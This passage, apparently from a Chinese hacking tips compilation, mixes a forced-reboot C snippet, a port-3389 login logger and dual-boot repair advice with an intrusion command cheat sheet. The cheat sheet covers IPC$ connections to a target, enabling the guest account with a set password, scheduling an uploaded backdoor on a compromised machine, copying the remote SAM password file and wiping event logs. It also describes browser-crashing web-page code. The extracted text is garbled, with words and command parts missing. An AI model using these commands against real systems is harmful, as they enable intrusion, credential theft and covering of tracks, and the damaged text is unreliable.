【文章內容簡介】 文件 ://定義重啟的時候發(fā)送給所有用戶的消息 LPSTR msg=‖ Reboot Tool By 。 文件 ://嘗試用最簡單的 API函數重啟 if(ExitWindowXXX())return TRUE。 if(ExitWindowXXX(EWX_REBOOT | EWX_FORCE,0))return TRUE。 文件 ://因為上面的重啟不成功，所以需要調整本進程的特權 HANDLE hToken。 TOKEN_PRIVILEGES tkp。 if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY,amp。hToken)) return FALSE。 文件 ://獲取重啟的特權 SE_SHUTDOWN_NAME LookupPrivilegevalues(NULL,SE_SHUTDOWN_NAME,amp。[0].Luid)。 =1。 [0].Attributes=SE_PRIVILEGE_ENABLED。 AdjustTokenPrivileges(hToken,FALSE,amp。tkp,0,(POTKEN_PRIVILEGES)NULL,0)。 文件 ://判斷是 NT內核還是 9X內核，選擇用不同的方式 if(!GetVersion()amp。 080000000)) InitiateSystemShutdown(NULL,msg,20,TRUE,TRUE)。 else if (!ExitWindowXXX(EWX_REBOOT,0)) if(!ExitWindowXXX(EWX_REBOOT|EWX_FORCE,0)) return FALSE。 return TRUE。 對了，再次說明啊，別用 24）利用批處理文件來建立一個記錄 3389登陸者信息的記錄器 由于 Terminal Service 默認是沒有日志記錄的，只能依靠他的系統(tǒng)日志，但是系統(tǒng)日志只能記錄一些大動作（開啟或停止服務），那么，如何用批處理文件來編寫一個將是 3389端口的程序呢？很簡單： 建立一個批處理文件：內容如下： @echo off date/t c:\ :TS3389 time/t c:\ stat an | find ―3389″ |find ―ESTABLISHED ‖ c:\ goto :TS3389 之后保存！ 如果有人用你的 3389 登陸你的機器，呵呵，在 c 盤下就有 這個文件！記錄了當天日志，還有連接時間 …… 資料～開始反擊～呵呵 25）網絡命令小節(jié) A、 NET命令： IPC連接：格式 use \\對方 IP\ipc$ ― 密碼 ‖ user:‖ 用戶名 ‖ 『建立 IPC連接～』 use \\對方 IP\ipc$ /delete start tel 『開啟 TELNET』 user guest /active:yes 『激活 GUEST』 user guest coldcrysky 『把 GUEST密碼改為 COLDCRYSKY』 B、 AT 命令： 查看遠程機時間： time \\對方 IP 加入一項新任務： at \\對方 IP 時間 文件名 『用來把自己上傳的后門程序在制定時間運行，方便以后進入肉雞！』 C、 TELNET命令： tel 對方 IP 端口 『作用不用我說了吧？？？』 D、 FTP命令： 登陸： ftp 對方網址（ IP 地址） 上傳文件： get 文件在本機完整路徑 對方文 件存放完整路徑 下載文件： put 對方文件完整路徑 本機存放文件路徑 E、 COPY命令： 在建立連接后（尤其是 IPC$連接后，很有用的命令哦～） ⑴ copy \\\c$\ 『將本機 的 C盤下，如果要放到對方的 NT目錄下，則把 C改為 admin$』 ⑵ copy \\\admin\repair\sam_ c: 『將遠程機數據庫文件拷貝到本機 C盤根目錄下』 F、 SET命令： 主要用于分析 目標計算機的基本信息用！具體使用方法請查找相關文件！ G、NBTSTAT命令： nbtstat A 對方 IP （這個 A大寫） 『在其中顯示 037前面的英文或數字就是計算機名稱！當然，也可以利用 PING A 對方 ip的方法來查看對方主機名！效果相同?。?！』 H、 SHUTDOWN命令： 『用來關閉對方 NT服務的命令』格式如下： shutdown \\IP 地址 t:20 『 20 秒后自動關閉對方 NT 服務！由于對對方機器影響較大，慎用！??！』 I、DIR命令： 還用我 說么？大家是不是早就該掌握了？？？（不知道的還是查閱相關資料吧～～～） J、 ECHO命令： echo coldcrysky 『用 coldcrysky覆蓋掉原 容』 echo coldcrysky 『把 coldcrysky加入到 』 K、 ATTRIB命令： 更改文件屬性用，格式： Attrib r 『去掉只讀屬性』（＋ 分別代表增加和減少） L、 DEL命令： 『刪除日 志的時候用！』 del c:\winnt\system32\logfiles\*.* del c:\winnt\system32\config\*.evt del c:\winnt\system32\dtclog\*.* del c:\winnt\system32\*.log del c:\winnt\system32\*.txt del c:\winnt\*.txt del c:\winnt\*.log M、 PING命令： t ： ping制定 IP，知道網絡斷開或按 CTRL+C結束！ a ：解釋 PING IP的主機名 n count ：發(fā)送 count指定的 ECHO數據包，默認為 4個！ 26）這里我必須（或者說不得不重新重申一個命令！不過說之前我要把這個命令的相關命令稍微介紹一下！） 我要說的命令就是：開啟服務和停止服務的 start and stop 這兩個命令大多數朋友已經很熟悉了吧？不過為了方便更多的菜鳥能看明白我要說的意思，不用再看其他相關文章，所以我簡單說兩句： start是開啟服務！那么，如何開啟呢？比如，我們這里要開啟 tel 服務，那就直接 再 2K 的cmd下輸入： start tel就 OK了～關閉一項服務的話，把 start換成 stop就OK了～不過這里必須要注意：你所關閉的服務必須是已經開啟的服務！?。『孟袷且痪鋸U話 OK，有了這個前提后，下面就繼續(xù)介紹：那么， start和 stop到底能開啟什么服務？其實這點也不需要你強記，記住這個命令就可以了： help start和 help stop，這兩個會顯示出你所能開啟的服務有那些 ~~ 這里比如我們查到了這個服務 ―CLIENT SERVICE FOR NE TWARE‖ ，那么當這個命令使用 start和 stop的時候，你必須在這項服務上面加上 ― ‖ ，原因是因為這個服務名稱中帶有空格！如果服務名稱中不帶空格，你可以不用帶這個引號?。?！這點是我強調的問題！大家一定不要忘記了！『前些天看到 的黑白新區(qū)中有人說 start 和 stop后面的服務名必須帶空格是錯誤的！明白原因了吧？』 27）關于雙系統(tǒng)的兩個問題： A、如何在雙系統(tǒng)（ 9 2021）中安全刪除 2K？ 先制作一張 Windows 98 的啟動軟盤， 再用它啟動你的計算機，運行 sys 命令恢復 Windows 98 引導記錄后，再運行 fdisk/mbr 恢復主引導記錄，完成后進入Windows 98，把 winnt 和 system volumn information 目錄刪除，再刪掉 C盤上的、 、 ntldr、 、 文件就行了。 B、 Windows 98/XP雙系統(tǒng)啟動菜單修復 ，在 BIOS 中設置從光驅啟動。用 Windows XP 安裝盤啟動電腦，在加載必要的驅動后，出 現(xiàn) Windows XP的安裝界面。有三個選項： （ 1）要現(xiàn)在開始安裝 Windows XP，請按 ―Enter ‖ 鍵。 （ 2）要用 ― 恢復控制臺 ‖ 修復 Windows XP安裝，按 ―R ‖ 鍵。 （ 3）要退出安裝程序，不安裝 Windows XP，按 ―F3 ‖ 鍵； 2. 按 ―R ‖ 鍵，進入 ―Microsoft Windows XP (TM) 故障恢復控制臺 ‖ 界面；故障恢復控制臺提供系統(tǒng)修復和故障恢復功能。系統(tǒng)這時會搜尋已安裝的 Windows XP 系統(tǒng)文件，然后顯示搜尋結果，并詢問 ― 要登錄到哪個 Windows XP安裝（ 要取消，請按 Enter） ‖ ，選擇 1. D:\Windows，回車，系統(tǒng)會再詢問 ― 管理員密碼 ‖ ，再鍵入安裝 Windows XP時設置的管理員密碼，回車，出現(xiàn) D:\Windows〉，這時需要輸入修復命令 Fixboot，后面的參數為啟動扇區(qū)要寫入的磁盤盤符，這里填入 C:，回車。修復完成，鍵入 Exit退出。重啟后就會看到久違的雙重啟動菜單了。并且，這樣修復后基本不產生垃圾文件。 因為這兩個問題是非常非常普遍的，所以我就收集到這里了～ 28）這里說幾個主頁惡意代碼：『并不是讓大家把這些代碼加入到自己的主頁中！只 是希望大家能了解惡意代碼，起到更好的防護作用！』 A、死循環(huán)代碼： 『把下列代碼加入到網頁中，可達到如上效果』 說明：當含有這段代碼的網頁被人點擊，連接就會不斷的打開 IE 瀏覽器，直到你的系統(tǒng)資源浪費到 0％～只有重新啟動才能正常使用！ 預防方法：禁用所有的 ActiveX控件和插件！因為這是一個 ActiveX教本程序～ B、恐怖的大圖片： 『把下列代碼加入到網頁中，可達到如上效果』 說明：當打開這樣的網頁， IE 會不斷的解釋試圖打開，但由于圖片實在太大，超出了其處理能力，所以 …… C、 地震死機代碼： 『把下列代碼加入到網頁中，可達到如上效果』 說明：是 windows9x的設備名稱解析